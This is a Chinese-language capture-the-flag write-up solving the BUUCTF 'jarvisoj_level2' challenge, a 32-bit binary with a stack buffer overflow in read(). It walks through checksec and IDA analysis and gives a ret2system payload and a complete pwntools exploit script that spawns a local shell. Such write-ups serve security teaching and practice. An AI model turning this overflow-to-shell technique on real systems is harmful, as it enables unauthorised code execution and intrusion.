BUUCTF jarvisoj_level2 题解

BUUCTF jarvisoj_level2 题解

  • 用checksec检查文件安全属性
  • 使用IDA反汇编程序
  • 使用pwntools编写exp

用checksec检查文件安全属性

BUUCTF jarvisoj_level2 题解_第1张图片
  可以看到是32位程序,栈上开启了不可执行保护,但是没有栈检测标志,推测需要进行缓冲区溢出。

使用IDA反汇编程序

BUUCTF jarvisoj_level2 题解_第2张图片
  从反汇编后的代码可以看出read()这个函数对buf进行写入时存在缓冲区溢出,IDA会告诉我们buf数组与ebp在栈上的相对位置,即&buf=$ebp-0x88,因此我们需要填充0x88个字符就能到达ebp的位置,然后再填充4个字符就能到达eip的位置,并且system()的地址可以轻松在plt表中找到,为0x08048320,因此我们只需要在构造一个shell路径的字符转就可以getshell了。
  首先在IDA中输入shift+F12,可以查找程序中的字符串。
BUUCTF jarvisoj_level2 题解_第3张图片
可以看到程序中已经有了shell的字符串,由于是32位程序,函数的参数通过压栈传递,因此我们可以直接将其地址放在system之后就能够完成参数的传递。接下来就可以构造payload了。

payload= b'a'*(0x88+4)+p32(0x08048320)+p32(return address)+p32(0x0804A024)

这里需要注意的是,由于我们是直接调用system()而不是使用call指令,因此计算机会将调用函数前栈顶指针指向的地址视为函数的返回地址,因此我们需要在这个地方随便填入一些值,然后在后面填入函数的第一个参数。

使用pwntools编写exp

from pwn import *
context.update(arch='i386',log_level='debug')
r=process('./level2')
payload= b'a'*(0x88+4)+p32(0x08048320)+p32(0x0804847F)+p32(0x0804A024)
r.sendlineafter(b'Input:',payload)
r.interactive()

BUUCTF jarvisoj_level2 题解_第4张图片
本地执行脚本后,可以成功得到shell。

你可能感兴趣的:(网络安全,python)